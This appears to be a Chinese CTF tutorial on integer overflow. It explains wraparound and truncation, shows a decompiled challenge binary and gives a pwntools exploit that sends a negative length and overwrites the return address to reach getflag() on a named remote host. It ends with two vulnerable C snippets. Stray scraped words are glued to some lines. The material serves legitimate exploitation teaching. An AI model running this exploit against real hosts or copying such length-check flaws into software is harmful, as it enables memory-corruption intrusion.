因为整数在内存里保存在一个固定长度的空间内,它能存储的最大值和最小值是固定的,若是咱们尝试去存储一个数,而这个数又大于这个固定的最大值时,就会致使整数溢出python
若是一个整数用来计算一些敏感数值,如缓冲区大小或数值索引,就会产生潜在的危险。一般状况下,整数溢出并无改写额外的内存,不会直接致使任意代码执行,可是它会致使栈溢出和堆溢出,然后二者都会致使任意代码执行。因为整数溢出出现以后,很难被当即察觉,比较难用一个有效的方法去判断是否出现或者可能出现整数溢出。数组
关于整数的异常状况主要有三种:dom
溢出函数
OF
可检测有符号数的溢出回绕this
0-1
时会变成最大的数,如1字节的无符号数会变为255,而255+1会变成最小数0.fCF
可检测无符号数的回绕截断code
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [esp+Ch] [ebp-1Ch] unsigned int buf; // [esp+10h] [ebp-18h] int v6; // [esp+14h] [ebp-14h] int fd; // [esp+18h] [ebp-10h] int i; // [esp+1Ch] [ebp-Ch] setvbuf(stdout, 0, 2, 0); puts("###### Welecome to ctf game ######\ninput your name length : "); read_name(); puts("let's begin guess num game "); fd = open("/dev/urandom", 0); if ( fd < 0 || read(fd, &buf, 4u) < 0 ) { puts("error"); exit(0); } close(fd); srand(buf); for ( i = 0; i <= 9; ++i ) { v6 = rand() % 9 + 3; printf("Round %d , please guess the num : \n", i); fflush(stdout); fflush(stdin); __isoc99_scanf("%d", &v4); if ( v4 != v6 ) { printf("you fail"); exit(0); } } printf("u are great! this is your flag"); getflag(); return 0; }
猜想随机数可得flag,hhh索引
int read_name() { char s[80]; // [esp+8h] [ebp-60h] unsigned int v2; // [esp+58h] [ebp-10h] unsigned int i; // [esp+5Ch] [ebp-Ch] memset(s, 0, 0x50u); __isoc99_scanf("%ld", &v2); if ( (signed int)v2 > 48 ) { puts("too long!!! u are a hacker!!!"); exit(0); } puts("please tell me your name : "); fflush(stdout); fflush(stdin); for ( i = 0; i < v2; ++i ) { read(0, &s[i], 1u); if ( s[i] == 10 ) { s[i] = 0; return printf("helllo %s\n", s); } } return printf("helllo %s\n", s); }
看到这里想到利用数组s覆盖返回地址,控制程序跳转到getflag()函数内存
利用过程rem
from pwn import * p = remote("114.116.54.89",10011) p.recvuntil("input your name length : \n") p.sendline("-1") payload = 'a'*(0x60-0xc) + 'c' + p32(0x080486BB) p.recvuntil("please tell me your name : \n") p.sendline(payload) p.interactive()
void vulnerable() { size_t len; // int len; char* buf; len = read_int_from_network(); buf = malloc(len + 5); read(fd, buf, len); ... }
这个例子看似避开了缓冲区溢出的问题,可是若是 len 过大, len+5 有可能发生回绕。好比说,在 x86-32 上,若是 len = 0xFFFFFFFF ,则 len+5 = 0x00000004 ,这时 malloc() 只分配了 4 字节的内存区域,而后在里面写入大量的数据,缓冲区溢出也就发生了。(若是将 len 声明为有符号 int 类型, len+5 可能发生溢出)字符串
void main(int argc, char *argv[]) { unsigned short int total; total = strlen(argv[1]) + strlen(argv[2]) + 1; char *buf = (char *)malloc(total); strcpy(buf, argv[1]); strcat(buf, argv[2]); ... }
这个例子接受两个字符串类型的参数并计算它们的总长度,程序分配足够的内存来存储拼接后的字符串。首先将第一个字符串参数复制到缓冲区中,而后将第二个参数链接到尾部。若是攻击者提供的两个字符串总长度没法用 total 表示,则会发生截断,从而致使后面的缓冲区溢出。
ctf-all-in-one